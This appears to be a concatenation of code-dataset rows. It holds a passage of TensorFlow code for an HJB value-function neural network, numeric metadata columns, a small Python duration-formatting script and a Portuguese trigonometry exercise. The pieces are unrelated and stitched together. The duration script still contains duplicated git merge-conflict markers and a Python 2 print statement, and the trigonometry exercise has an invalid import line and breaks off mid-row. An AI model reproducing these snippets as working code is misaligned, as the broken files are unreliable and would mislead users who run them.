the lower and upper bounds of the control data, prior to scaling
'V_min', and 'V_max',
the lower and upper bounds of the output data, prior to scaling
config: config_NN instance
parameters: dict of weights and biases with pre-trained weights and biases'''
self.lb = scaling['lb']
self.ub = scaling['ub']
self.A_lb = scaling['A_lb']
self.A_ub = scaling['A_ub']
self.U_lb = scaling['U_lb']
self.U_ub = scaling['U_ub']
self.V_min = scaling['V_min']
self.V_max = scaling['V_max']
self.problem = problem
self.config = config
N_states = problem.N_states
N_controls = problem.N_controls
self.t1 = problem.t1
# Initializes the NN parameters
self.weights, self.biases = self.initialize_net(config.layers, parameters)
# Defines placeholders for passing inputs and data
self.t_tf = tf.placeholder(tf.float32, shape=(1, None))
self.X_tf = tf.placeholder(tf.float32, shape=(N_states, None))
self.A_tf = tf.placeholder(tf.float32, shape=(N_states, None))
self.U_tf = tf.placeholder(tf.float32, shape=(N_controls, None))
self.V_tf = tf.placeholder(tf.float32, shape=(1, None))
self.A_scaled_tf = tf.placeholder(tf.float32, shape=(N_states, None))
self.U_scaled_tf = tf.placeholder(tf.float32, shape=(N_controls, None))
self.V_scaled_tf = tf.placeholder(tf.float32, shape=(1, None))
# Builds the computational graph
V_pred_scaled, self.V_pred = self.make_eval_graph(self.t_tf, self.X_tf)
self.dVdX = tf.gradients(self.V_pred, self.X_tf)[0]
self.U = self.problem.make_U_NN(self.dVdX)
dVdX_norm = tf.sqrt(tf.reduce_sum(self.dVdX**2, axis=0))
self.k_largest = tf.placeholder(tf.int32, ())
self.largest_dVdX = tf.nn.top_k(dVdX_norm, k=self.k_largest, sorted=False)
# Unweighted MSE loss on scaled data
self.loss_V = tf.reduce_mean((V_pred_scaled - self.V_scaled_tf)**2)
# Unweighted MSE loss on value gradient
dVdX_scaled = 2.0*(self.dVdX - self.A_lb)/(self.A_ub - self.A_lb) - 1.0
self.loss_A = tf.reduce_mean(
tf.reduce_sum((dVdX_scaled - self.A_scaled_tf)**2, axis=0)
)
# Control loss
U_scaled = 2.0*(self.U - self.U_lb)/(self.U_ub - self.U_lb) - 1.0
self.loss_U = tf.reduce_mean(
tf.reduce_sum((U_scaled - self.U_scaled_tf)**2, axis=0)
)
# Error metrics
self.RMAE = tf.reduce_mean(
tf.abs(self.V_pred - self.V_tf)) / tf.reduce_mean(
tf.abs(self.V_tf)
)
self.grad_RML2 = tf.reduce_mean(
tf.sqrt(tf.reduce_sum((self.dVdX - self.A_tf)**2, axis=0))
) / tf.reduce_mean(
tf.sqrt(tf.reduce_sum(self.A_tf**2, axis=0))
)
self.ctrl_RML2 = tf.reduce_mean(
tf.sqrt(tf.reduce_sum((self.U - self.U_tf)**2, axis=0))
) / tf.reduce_mean(
tf.sqrt(tf.reduce_sum(self.U_tf**2, axis=0))
)
self.sess = tf.Session()
self.sess.run(tf.global_variables_initializer())
def initialize_net(self, layers, parameters):
'''
Creates Tensorflow variables for NN parameters. These are initialized
with existing values if provided in the parameters argument.
If not provided, then they are initialized with Xavier initialization.
'''
weights, biases = [], []
if parameters is None:
def xavier_init(size_in, size_out):
# Initializes a single set of weights for layer (l) from layer (l-1).
# Weights are picked randomly from a normal distribution
std = np.sqrt(2. / (size_in + size_out))
init = std * np.random.randn(size_out, size_in)
return tf.Variable(init, dtype=tf.float32)
for l in range(len(layers) - 1):
weights.append(xavier_init(layers[l], layers[l+1]))
biases.append(tf.Variable(tf.zeros((layers[l+1], 1), dtype=tf.float32)))
else:
for l in range(len(parameters['weights'])):
weights.append(tf.Variable(parameters['weights'][l], dtype=tf.float32))
biases.append(tf.Variable(parameters['biases'][l], dtype=tf.float32))
return weights, biases
def export_model(self):
'''Returns a list of weights and biases to save model parameters.'''
weights = np.empty((len(self.weights),), dtype=object)
biases = np.empty((len(self.biases),), dtype=object)
for l in range(len(self.weights)):
weights[l], biases[l] = self.sess.run(
(self.weights[l], self.biases[l])
)
return weights, biases
def make_eval_graph(self, t, X):
'''Builds the NN computational graph.'''
# (N_states, ?) matrix of linearly rescaled input values
V = 2.0*(X - self.lb)/(self.ub - self.lb) - 1.0
V = tf.concat([V, 2.0*t/self.t1 - 1.0], axis=0)
# Hidden layers
for l in range(len(self.weights) - 1):
W = self.weights[l]
b = self.biases[l]
V = tf.tanh(tf.matmul(W, V) + b)
# The last layer is linear -> it's outside the loop
W = self.weights[-1]
b = self.biases[-1]
V = tf.matmul(W, V) + b
V_descaled = (self.V_max - self.V_min)*(V + 1.)/2. + self.V_min
return V, V_descaled
def predict_V(self, t, X):
'''Run a TensorFlow Session to predict the value function at arbitrary
space-time coordinates.'''
return self.sess.run(self.V_pred, {self.t_tf: t, self.X_tf: X})
def predict_A(self, t, X):
'''Run a TensorFlow Session to predict the value gradient at arbitrary
space-time coordinates.'''
return self.sess.run(self.dVdX, {self.t_tf: t, self.X_tf: X})
def get_largest_A(self, t, X, N):
'''Partially sorts space-time points by the predicted gradient norm.'''
_, max_idx = self.sess.run(self.largest_dVdX,
{self.k_largest: N,
self.t_tf: t,
self.X_tf: X})
return max_idx
def eval_U(self, t, X):
'''(Near-)optimal feedback control for arbitrary inputs (t,X).'''
return self.sess.run(self.U, {self.t_tf: t, self.X_tf: X}).astype(np.float64)
def bvp_guess(self, t, X, eval_U=False):
'''Predicts value, costate, and control with one session call.'''
feed_dict = {self.t_tf: t, self.X_tf: X}
if eval_U:
V, A, U = self.sess.run((self.V_pred, self.dVdX, self.U), feed_dict)
return V, A, U.astype(np.float64)
else:
return self.sess.run((self.V_pred, self.dVdX), feed_dict)
def train(self, train_data, test_data):
'''Implements training with L-BFGS.'''
train_data.update({
'A_scaled': 2.*(train_data['A'] - self.A_lb)/(self.A_ub - self.A_lb) - 1.,
'U_scaled': 2.*(train_data['U'] - self.U_lb)/(self.U_ub - self.U_lb) - 1.,
'V_scaled': 2.*(train_data['V'] - self.V_min)/(self.V_max - self.V_min) - 1.
})
test_data = {
self.t_tf: test_data.pop('t'), self.X_tf: test_data.pop('X'),
self.V_tf: test_data.pop('V'), self.A_tf: test_data.pop('A'),
self.U_tf: test_data.pop('U')
}
# ----------------------------------------------------------------------
# Gets training options from configuration file
self.Ns = self.config.batch_size
if self.Ns is None:
self.Ns = train_data['X'].shape[1]
Ns_C = self.config.Ns_scale
Ns_cand = self.config.Ns_cand
Ns_max = self.config.Ns_max
conv_tol = self.config.conv_tol
max_rounds = self.config.max_rounds
min_rounds = self.config.min_rounds
weight_A = self.config.weight_A
self.weight_A_tf = tf.placeholder(tf.float32, shape=())
weight_U = self.config.weight_U
self.weight_U_tf = tf.placeholder(tf.float32, shape=())
self.loss = self.loss_V
if np.any(weight_A >= 10. * np.finfo(float).eps):
self.loss = self.loss + self.weight_A_tf * self.loss_A
if np.any(weight_U >= 10. * np.finfo(float).eps):
self.loss = self.loss + self.weight_U_tf * self.loss_U
# ----------------------------------------------------------------------
# Sets up optimizer stuff
self.grads_list = [None]*3
optimizer = None
train_err = []
train_grad_err = []
train_ctrl_err = []
test_err = []
test_grad_err = []
test_ctrl_err = []
round_iters = []
errors_to_track = [train_err, train_grad_err, train_ctrl_err]
fetches = [[self.RMAE, self.grad_RML2, self.ctrl_RML2]]
# ----------------------------------------------------------------------
for round in range(1,max_rounds+1):
# Generates new data if needed
if self.Ns > train_data['X'].shape[1]:
if round > 1:
new_data = self.generate_data(
self.Ns - train_data['X'].shape[1], Ns_cand)
for key in new_data.keys():
train_data.update({
key: np.hstack((train_data[key], new_data[key]))
})
else:
self.Ns = train_data['X'].shape[1]
# Avoid training on the entire training set
# This speeds up training and reduces overfitting
_Ns = np.minimum(self.Ns, Ns_max)
print('Optimization round', round, ':')
print('Batch size =', _Ns,
', gradient weight = %1.1e' % (weight_A[round-1]),
', control weight = %1.1e' % (weight_U[round-1]))
# ------------------------------------------------------------------
idx = np.random.choice(
train_data['X'].shape[1], _Ns, replace=False)
tf_dict = {self.t_tf: train_data['t'][:,idx],
self.X_tf: train_data['X'][:,idx],
self.A_tf: train_data['A'][:,idx],
self.U_tf: train_data['U'][:,idx],
self.V_tf: train_data['V'][:,idx],
self.A_scaled_tf: train_data['A_scaled'][:,idx],
self.U_scaled_tf: train_data['U_scaled'][:,idx],
self.V_scaled_tf: train_data['V_scaled'][:,idx],
self.weight_A_tf: weight_A[round-1],
self.weight_U_tf: weight_U[round-1]}
BFGS_opts = {}
for key in self.config.BFGS_opts.keys():
BFGS_opts[key] = self.config.BFGS_opts[key][round-1]
optimizer = self._train_L_BFGS_B(tf_dict,
optimizer=optimizer,
errors_to_track=errors_to_track,
fetches=fetches,
options=BFGS_opts)
# ------------------------------------------------------------------
loss_V, loss_A, loss_U = self.sess.run(
(self.loss_V, self.loss_A, self.loss_U), tf_dict)
print('')
print('loss_V = %1.1e' % (loss_V),
', loss_A = %1.1e' % (loss_A),
', loss_U = %1.1e' % (loss_U))
# If didn't track training errors, compute them now
for error,fetch in zip((train_err,train_grad_err,train_ctrl_err),
(self.RMAE, self.grad_RML2, self.ctrl_RML2)):
if error not in errors_to_track:
error.append(self.sess.run(fetch, tf_dict))
round_iters.append(len(train_err))
test_errs = self.sess.run(
(self.RMAE, self.grad_RML2, self.ctrl_RML2), test_data)
test_err.append(test_errs[0])
test_grad_err.append(test_errs[1])
test_ctrl_err.append(test_errs[2])
print('')
print('Training RMA error = %1.1e' % (train_err[-1]))
print('Test RMA error = %1.1e' % (test_err[-1]))
print('Training grad. RML2 error = %1.1e' % (train_grad_err[-1]))
print('Test grad. RML2 error = %1.1e' % (test_grad_err[-1]))
print('Training ctrl. RML2 error = %1.1e' % (train_ctrl_err[-1]))
print('Test ctrl. RML2 error = %1.1e' % (test_ctrl_err[-1]))
# ------------------------------------------------------------------
if max_rounds > 1:
if self.convergence_test(tf_dict,
optimizer.grad_eval,
conv_tol=conv_tol,
Ns_sub=int(self.Ns/16),
s=Ns_C):
if round >= min_rounds:
print('Convergence test satisfied with', self.Ns,
'data, stopping optimization.')
break
else:
print('Convergence test satisfied, but have not trained for minimum number of rounds.')
self.Ns *= Ns_C
errors = (train_err, train_grad_err, train_ctrl_err,
test_err, test_grad_err, test_ctrl_err)
return round_iters, errors
def _train_L_BFGS_B(self,
tf_dict,
optimizer=None,
errors_to_track=[],
fetches=[],
options={}):
'''
Interface for L-BFGS optimizer. Allows reusing an instantiated
optimizer so that gradients etc. do not have to be recomputed each
training round.
'''
from utilities.optimize import ScipyOptimizerInterface
if optimizer is None:
default_opts = {'maxcor': 15, 'ftol': 1e-11, 'gtol': 1e-06,
'iprint': 95, 'maxfun': 100000, 'maxiter': 100000}
optimizer = ScipyOptimizerInterface(self.loss,
grads_list=self.grads_list,
options={**default_opts, **options})
self.grads_list = optimizer._grads_list
self.packed_loss_grad = optimizer._packed_loss_grad
else:
optimizer.optimizer_kwargs['options'].update(options)
def callback(fetches):
for error_list, fetch in zip(errors_to_track, fetches):
error_list.append(fetch)
optimizer.minimize(self.sess, feed_dict=tf_dict,
fetches=fetches, loss_callback=callback)
return optimizer
def convergence_test(self, tf_dict, sample_grad, conv_tol, Ns_sub, s):
'''Convergence test as described in the paper.'''
print('')
print('Running convergence test...')
sample_grad = np.linalg.norm(sample_grad, ord=1)
# Calculates sample variance for (a subsample of) the batch
idx = np.random.choice(
tf_dict[self.X_tf].shape[1], Ns_sub, replace=False)
tf_dict.update({
self.t_tf: tf_dict[self.t_tf][:,idx],
self.X_tf: tf_dict[self.X_tf][:,idx],
self.A_scaled_tf: tf_dict[self.A_scaled_tf][:,idx],
self.U_scaled_tf: tf_dict[self.U_scaled_tf][:,idx],
self.V_scaled_tf: tf_dict[self.V_scaled_tf][:,idx],
})
# ----------------------------------------------------------------------
sample_var = np.empty((Ns_sub, self.packed_loss_grad.shape[0]))
for i in range(Ns_sub):
sample_var[i] = self.sess.run(self.packed_loss_grad, {
self.t_tf: tf_dict[self.t_tf][:,i:i+1],
self.X_tf: tf_dict[self.X_tf][:,i:i+1],
self.A_scaled_tf: tf_dict[self.A_scaled_tf][:,i:i+1],
self.U_scaled_tf: tf_dict[self.U_scaled_tf][:,i:i+1],
self.V_scaled_tf: tf_dict[self.V_scaled_tf][:,i:i+1],
self.weight_A_tf: tf_dict[self.weight_A_tf],
self.weight_U_tf: tf_dict[self.weight_U_tf]
})
sample_var = np.var(sample_var, axis=0, ddof=1, dtype=np.float64)
sample_var = np.sqrt(sample_var.sum())
# ----------------------------------------------------------------------
print('sample gradient = %1.1e' % (sample_grad))
print('sample gradient RMSE = %1.1e' % (sample_var / np.sqrt(Ns_sub)))
print('k = %1.2f, Ns = %d' % (conv_tol, self.Ns))
if sample_var <= conv_tol * np.sqrt(Ns_sub) * sample_grad:
# Convergence condition satisfied
return True
else:
Ns_min = int((sample_var / (conv_tol * sample_grad))**2)
if self.Ns >= Ns_min:
Ns_min = int(self.Ns * (Ns_min / Ns_sub))
self.Ns = np.minimum(s*self.Ns, Ns_min)
print('Convergence test failed, estimated minimum batch size:', self.Ns)
return False
def generate_data(self, Nd, Ns_cand):
'''Generates additional data with NN warm start.'''
print('')
print('Generating data...')
import warnings
np.seterr(over='warn', divide='warn', invalid='warn')
warnings.filterwarnings('error')
N_states = self.problem.N_states
X_OUT = np.empty((N_states,0))
A_OUT = np.empty((N_states,0))
V_OUT = np.empty((1,0))
t_OUT = np.empty((1,0))
Ns_sol = 0
start_time = time.time()
# ----------------------------------------------------------------------
while X_OUT.shape[1] < Nd:
print('Solving BVP #', Ns_sol+1, '...', end='\r')
# Picks random sample with largest gradient
X0 = (self.ub - self.lb) * np.random.rand(N_states, Ns_cand) + self.lb
max_idx = self.get_largest_A(np.zeros((1, Ns_cand)), X0, 1)
X0 = X0[:, max_idx[-1]]
bc = self.problem.make_bc(X0)
# Integrates the closed-loop system (NN controller)
SOL = solve_ivp(self.problem.dynamics, [0., self.t1], X0,
method=self.config.ODE_solver,
args=(self.eval_U,),
rtol=1e-04)
V_guess, A_guess = self.bvp_guess(SOL.t.reshape(1,-1), SOL.y)
try:
# Solves the two-point boundary value problem
X_aug_guess = np.vstack((SOL.y, A_guess, V_guess))
SOL = solve_bvp(self.problem.aug_dynamics, bc, SOL.t, X_aug_guess,
verbose=0,
tol=self.config.data_tol,
max_nodes=self.config.max_nodes)
if not SOL.success:
warnings.warn(Warning())
Ns_sol += 1
V = SOL.y[-1:] + self.problem.terminal_cost(SOL.y[:N_states,-1])
t_OUT = np.hstack((t_OUT, SOL.x.reshape(1,-1)))
X_OUT = np.hstack((X_OUT, SOL.y[:N_states]))
A_OUT = np.hstack((A_OUT, SOL.y[N_states:2*N_states]))
V_OUT = np.hstack((V_OUT, V))
except Warning:
pass
print('Generated', X_OUT.shape[1], 'data from', Ns_sol,
'BVP solutions in %.1f' % (time.time() - start_time), 'sec')
data = {'t': t_OUT, 'X': X_OUT, 'A': A_OUT, 'V': V_OUT,
'U': self.problem.U_star(np.vstack((X_OUT, A_OUT)))
}
data.update({
'A_scaled': 2.*(data['A'] - self.A_lb)/(self.A_ub - self.A_lb) - 1.,
'U_scaled': 2.*(data['U'] - self.U_lb)/(self.U_ub - self.U_lb) - 1.,
'V_scaled': 2.*(data['V'] - self.V_min)/(self.V_max - self.V_min) - 1.
})
return data
class HJBnet_t0(HJBnet):
def make_eval_graph(self, t, X):
'''Builds the NN computational graph.'''
# (N_states, ?) matrix of linearly rescaled input values
V = 2.0*(X - self.lb)/(self.ub - self.lb) - 1.0
# Hidden layers
for l in range(len(self.weights) - 1):
W = self.weights[l]
b = self.biases[l]
V = tf.tanh(tf.matmul(W, V) + b)
# The last layer is linear -> it's outside the loop
W = self.weights[-1]
b = self.biases[-1]
V = tf.matmul(W, V) + b
V_descaled = (self.V_max - self.V_min)*(V + 1.)/2. + self.V_min
return V, V_descaled
def predict_V(self, t, X):
'''Run a TensorFlow Session to predict the value function at arbitrary
points.'''
return self.sess.run(self.V_pred, {self.X_tf: X})
def predict_A(self, t, X):
'''Run a TensorFlow Session to predict the value gradient at arbitrary
points.'''
return self.sess.run(self.dVdX, {self.X_tf: X})
def get_largest_A(self, t, X, N):
'''Partially sorts points by the predicted gradient norm.'''
_, max_idx = self.sess.run(self.largest_dVdX,
{self.k_largest: N,
self.X_tf: X})
return max_idx
def eval_U(self, t, X):
'''(Near-)optimal feedback control for arbitrary inputs x.'''
return self.sess.run(self.U, {self.X_tf: X}).astype(np.float64)
def bvp_guess(self, t, X, eval_U=False):
'''Predicts value, costate, and control with one session call.'''
if eval_U:
V, A, U = self.sess.run((self.V_pred, self.dVdX, self.U), {self.X_tf: X})
return V, A, U.astype(np.float64)
else:
return self.sess.run((self.V_pred, self.dVdX), {self.X_tf: X})
def train(self, train_data, test_data):
'''Implements training with L-BFGS.'''
train_data.update({
'A_scaled': 2.*(train_data['A'] - self.A_lb)/(self.A_ub - self.A_lb) - 1.,
'U_scaled': 2.*(train_data['U'] - self.U_lb)/(self.U_ub - self.U_lb) - 1.,
'V_scaled': 2.*(train_data['V'] - self.V_min)/(self.V_max - self.V_min) - 1.
})
test_data = {
self.X_tf: test_data.pop('X'), self.V_tf: test_data.pop('V'),
self.A_tf: test_data.pop('A'), self.U_tf: test_data.pop('U')
}
# ----------------------------------------------------------------------
# Gets training options from configuration file
self.Ns = self.config.batch_size
if self.Ns is None:
self.Ns = train_data['X'].shape[1]
Ns_C = self.config.Ns_scale
Ns_cand = self.config.Ns_cand
Ns_max = self.config.Ns_max
conv_tol = self.config.conv_tol
max_rounds = self.config.max_rounds
min_rounds = self.config.min_rounds
weight_A = self.config.weight_A
self.weight_A_tf = tf.placeholder(tf.float32, shape=())
weight_U = self.config.weight_U
self.weight_U_tf = tf.placeholder(tf.float32, shape=())
self.loss = self.loss_V
if np.any(weight_A >= 10. * np.finfo(float).eps):
self.loss = self.loss + self.weight_A_tf * self.loss_A
if np.any(weight_U >= 10. * np.finfo(float).eps):
self.loss = self.loss + self.weight_U_tf * self.loss_U
# ----------------------------------------------------------------------
# Sets up optimizer stuff
self.grads_list = [None]*3
optimizer = None
train_err = []
train_grad_err = []
train_ctrl_err = []
test_err = []
test_grad_err = []
test_ctrl_err = []
round_iters = []
errors_to_track = [train_err, train_grad_err, train_ctrl_err]
fetches = [[self.RMAE, self.grad_RML2, self.ctrl_RML2]]
# ----------------------------------------------------------------------
for round in range(1,max_rounds+1):
# Generates new data if needed
if self.Ns > train_data['X'].shape[1]:
if round > 1:
new_data = self.generate_data(
self.Ns - train_data['X'].shape[1], Ns_cand)
for key in new_data.keys():
train_data.update({
key: np.hstack((train_data[key], new_data[key]))
})
else:
self.Ns = train_data['X'].shape[1]
# Avoid training on the entire training set
# This speeds up training and reduces overfitting
_Ns = np.minimum(self.Ns, Ns_max)
print('Optimization round', round, ':')
print('Batch size =', _Ns,
', gradient weight = %1.1e' % (weight_A[round-1]),
', control weight = %1.1e' % (weight_U[round-1]))
# ------------------------------------------------------------------
idx = np.random.choice(
train_data['X'].shape[1], _Ns, replace=False)
tf_dict = {self.X_tf: train_data['X'][:,idx],
self.A_tf: train_data['A'][:,idx],
self.U_tf: train_data['U'][:,idx],
self.V_tf: train_data['V'][:,idx],
self.A_scaled_tf: train_data['A_scaled'][:,idx],
self.U_scaled_tf: train_data['U_scaled'][:,idx],
self.V_scaled_tf: train_data['V_scaled'][:,idx],
self.weight_A_tf: weight_A[round-1],
self.weight_U_tf: weight_U[round-1]}
# Minimizes with L-BFGS
BFGS_opts = {}
for key in self.config.BFGS_opts.keys():
BFGS_opts[key] = self.config.BFGS_opts[key][round-1]
optimizer = self._train_L_BFGS_B(tf_dict,
optimizer=optimizer,
errors_to_track=errors_to_track,
fetches=fetches,
options=BFGS_opts)
# ------------------------------------------------------------------
loss_V, loss_A, loss_U = self.sess.run(
(self.loss_V, self.loss_A, self.loss_U), tf_dict)
print('')
print('loss_V = %1.1e' % (loss_V),
', loss_A = %1.1e' % (loss_A),
', loss_U = %1.1e' % (loss_U))
# If didn't track training errors, compute them now
for error,fetch in zip((train_err,train_grad_err,train_ctrl_err),
(self.RMAE, self.grad_RML2, self.ctrl_RML2)):
if error not in errors_to_track:
error.append(self.sess.run(fetch, tf_dict))
round_iters.append(len(train_err))
test_errs = self.sess.run(
(self.RMAE, self.grad_RML2, self.ctrl_RML2), test_data)
test_err.append(test_errs[0])
test_grad_err.append(test_errs[1])
test_ctrl_err.append(test_errs[2])
print('')
print('Training RMA error = %1.1e' % (train_err[-1]))
print('Test RMA error = %1.1e' % (test_err[-1]))
print('Training grad. RML2 error = %1.1e' % (train_grad_err[-1]))
print('Test grad. RML2 error = %1.1e' % (test_grad_err[-1]))
print('Training ctrl. RML2 error = %1.1e' % (train_ctrl_err[-1]))
print('Test ctrl. RML2 error = %1.1e' % (test_ctrl_err[-1]))
# ------------------------------------------------------------------
if max_rounds > 1:
if self.convergence_test(tf_dict,
optimizer.grad_eval,
conv_tol=conv_tol,
Ns_sub=int(self.Ns/2),
s=Ns_C):
if round >= min_rounds:
print('Convergence test satisfied with', self.Ns,
'data, stopping optimization.')
break
else:
print('Convergence test satisfied, but have not trained for minimum number of rounds.')
self.Ns *= Ns_C
errors = (train_err, train_grad_err, train_ctrl_err,
test_err, test_grad_err, test_ctrl_err)
return round_iters, errors
def convergence_test(self, tf_dict, sample_grad, conv_tol, Ns_sub, s):
'''Convergence test as described in the paper.'''
print('')
print('Running convergence test...')
sample_grad = np.linalg.norm(sample_grad, ord=1)
# Calculates sample variance for (a subsample of) the batch
idx = np.random.choice(
tf_dict[self.X_tf].shape[1], Ns_sub, replace=False)
tf_dict.update({
self.X_tf: tf_dict[self.X_tf][:,idx],
self.A_scaled_tf: tf_dict[self.A_scaled_tf][:,idx],
self.U_scaled_tf: tf_dict[self.U_scaled_tf][:,idx],
self.V_scaled_tf: tf_dict[self.V_scaled_tf][:,idx],
})
sample_var = np.empty((Ns_sub, self.packed_loss_grad.shape[0]))
for i in range(Ns_sub):
sample_var[i] = self.sess.run(self.packed_loss_grad, {
self.X_tf: tf_dict[self.X_tf][:,i:i+1],
self.A_scaled_tf: tf_dict[self.A_scaled_tf][:,i:i+1],
self.U_scaled_tf: tf_dict[self.U_scaled_tf][:,i:i+1],
self.V_scaled_tf: tf_dict[self.V_scaled_tf][:,i:i+1],
self.weight_A_tf: tf_dict[self.weight_A_tf],
self.weight_U_tf: tf_dict[self.weight_U_tf]
})
sample_var = np.var(sample_var, axis=0, ddof=1, dtype=np.float64)
sample_var = np.sqrt(sample_var.sum())
# ----------------------------------------------------------------------
print('sample gradient = %1.1e' % (sample_grad))
print('sample gradient RMSE = %1.1e' % (sample_var / np.sqrt(Ns_sub)))
print('k = %1.2f, Ns = %d' % (conv_tol, self.Ns))
if sample_var <= conv_tol * np.sqrt(Ns_sub) * sample_grad:
# Convergence condition satisfied
return True
else:
Ns_min = int((sample_var / (conv_tol * sample_grad))**2)
if self.Ns >= Ns_min:
Ns_min = int(self.Ns * (Ns_min / Ns_sub))
self.Ns = np.minimum(s*self.Ns, Ns_min)
print('Convergence test failed, estimated minimum batch size:', self.Ns)
return False
def generate_data(self, Nd, Ns_cand):
'''Generates additional data with NN warm start.'''
print('')
print('Generating data...')
import warnings
np.seterr(over='warn', divide='warn', invalid='warn')
warnings.filterwarnings('error')
N_states = self.problem.N_states
X_OUT = np.empty((N_states,Nd))
A_OUT = np.empty((N_states,Nd))
V_OUT = np.empty((1,Nd))
Ns_sol = 0
start_time = time.time()
while Ns_sol < Nd:
print('Solving BVP #', Ns_sol+1, 'of', Nd, '...', end='\r')
# Picks random sample with largest gradient
X0 = (self.ub - self.lb) * np.random.rand(N_states, Ns_cand) + self.lb
max_idx = self.get_largest_A(np.zeros((1, Ns_cand)), X0, 1)
X0 = X0[:, max_idx[-1]]
bc = self.problem.make_bc(X0)
# Integrates the closed-loop system (NN controller)
SOL = solve_ivp(self.problem.dynamics, [0., self.t1], X0,
method=self.config.ODE_solver,
args=(self.eval_U,),
rtol=1e-04)
V_guess, A_guess = self.bvp_guess(SOL.t.reshape(1,-1), SOL.y)
try:
# Solves the two-point boundary value problem
X_aug_guess = np.vstack((SOL.y, A_guess, V_guess))
SOL = solve_bvp(self.problem.aug_dynamics, bc, SOL.t, X_aug_guess,
verbose=0,
tol=self.config.data_tol,
max_nodes=self.config.max_nodes)
if not SOL.success:
warnings.warn(Warning())
V = SOL.y[-1:] + self.problem.terminal_cost(SOL.y[:N_states,-1])
X_OUT[:,Ns_sol] = SOL.y[:N_states,0]
A_OUT[:,Ns_sol] = SOL.y[N_states:2*N_states,0]
V_OUT[:,Ns_sol] = V[:,0]
Ns_sol += 1
except Warning:
pass
print('Generated', Ns_sol, 'data in %.1f' % (time.time() - start_time), 'sec')
data = {'X': X_OUT, 'A': A_OUT, 'V': V_OUT,
'U': self.problem.U_star(np.vstack((X_OUT, A_OUT)))
}
data.update({
'A_scaled': 2.*(data['A'] - self.A_lb)/(self.A_ub - self.A_lb) - 1.,
'U_scaled': 2.*(data['U'] - self.U_lb)/(self.U_ub - self.U_lb) - 1.,
'V_scaled': 2.*(data['V'] - self.V_min)/(self.V_max - self.V_min) - 1.
})
return data
| 40.227326
| 111
| 0.518344
| 4,488
| 34,153
| 3.731506
| 0.086898
| 0.014331
| 0.011704
| 0.015764
| 0.803965
| 0.78641
| 0.77811
| 0.762883
| 0.738102
| 0.73237
| 0
| 0.016277
| 0.325418
| 34,153
| 848
| 112
| 40.274764
| 0.710621
| 0.1411
| 0
| 0.730159
| 0
| 0
| 0.056167
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.042328
| false
| 0.003527
| 0.014109
| 0
| 0.10582
| 0.082892
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
92b8ed94baa5928d7bcf618b03d50334c9d9146a
| 557
|
py
|
Python
|
cgi-bin/timeTest.py
|
pinckert/pinckert.com
|
7d6ce3e37c6c39c1deebbceb40f4442d34c20e23
|
[
"Apache-2.0"
] | 1
|
2020-07-29T22:45:07.000Z
|
2020-07-29T22:45:07.000Z
|
cgi-bin/timeTest.py
|
pinckert/pinckert.com
|
7d6ce3e37c6c39c1deebbceb40f4442d34c20e23
|
[
"Apache-2.0"
] | null | null | null |
cgi-bin/timeTest.py
|
pinckert/pinckert.com
|
7d6ce3e37c6c39c1deebbceb40f4442d34c20e23
|
[
"Apache-2.0"
] | null | null | null |
<<<<<<< HEAD
import math
def prettyDelta(duration):
norm = float(duration) / 1000 # convert to seconds
seconds = math.floor(norm % 60)
norm /= 60
minutes = math.floor(norm % 60)
return "%2d:%02d" % (minutes, seconds)
duration = 65393
=======
import math
def prettyDelta(duration):
norm = float(duration) / 1000 # convert to seconds
seconds = math.floor(norm % 60)
norm /= 60
minutes = math.floor(norm % 60)
return "%2d:%02d" % (minutes, seconds)
duration = 65393
>>>>>>> cb97fa344060fddee1b1b68722c1e6b281f454c7
print prettyDelta(duration)
| 21.423077
| 51
| 0.685817
| 67
| 557
| 5.701493
| 0.313433
| 0.094241
| 0.136126
| 0.157068
| 0.82199
| 0.82199
| 0.82199
| 0.82199
| 0.82199
| 0.82199
| 0
| 0.129032
| 0.165171
| 557
| 26
| 52
| 21.423077
| 0.692473
| 0.066427
| 0
| 0.8
| 0
| 0
| 0.030888
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0
| 0.1
| null | null | 0.05
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
a649f6958082c81dcd34745a2d2bbad84770cd57
| 835
|
py
|
Python
|
EX 18 sen cos tag.py
|
RODRIGOKTK/Python-exercicios
|
f7985f2c277aae8b158bdeea4f2493febaaf06c5
|
[
"Unlicense"
] | null | null | null |
EX 18 sen cos tag.py
|
RODRIGOKTK/Python-exercicios
|
f7985f2c277aae8b158bdeea4f2493febaaf06c5
|
[
"Unlicense"
] | null | null | null |
EX 18 sen cos tag.py
|
RODRIGOKTK/Python-exercicios
|
f7985f2c277aae8b158bdeea4f2493febaaf06c5
|
[
"Unlicense"
] | null | null | null |
#EXEMPLO #1
import math
ângulo = float(input('Digite o ângulo desejado: '))
seno = math.sin(math.radians(ângulo))
print('O ângulo de {} tem o SENO de {:.2f}'.format(ângulo, seno))
cosseno = math.cos(math.radians(ângulo))
print('O ângulo de {} tem o COSSENO de {:.2f}'.format(ângulo, cosseno))
tangente = math.tan(math.radians(ângulo))
print('O ângulo de {} tem a TANGENTE de {:.2f}'.format(ângulo, tangente))
#EXEMPLO#2
import math import radians, sin, cos, tan
ângulo = float(input('Digite o ângulo desejado: '))
seno = sin(radians(ângulo))
print('O ângulo de {} tem o SENO de {:.2f}'.format(ângulo, seno))
cosseno = cos(radians(ângulo))
print('O ângulo de {} tem o COSSENO de {:.2f}'.format(ângulo, cosseno))
tangente = tan(radians(ângulo))
print('O ângulo de {} tem a TANGENTE de {:.2f}'.format(ângulo, tangente))
| 43.947368
| 74
| 0.682635
| 129
| 835
| 4.418605
| 0.186047
| 0.098246
| 0.189474
| 0.2
| 0.845614
| 0.845614
| 0.845614
| 0.845614
| 0.694737
| 0.680702
| 0
| 0.01122
| 0.146108
| 835
| 19
| 75
| 43.947368
| 0.788219
| 0.020359
| 0
| 0.5
| 0
| 0
| 0.346299
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0
| 0.125
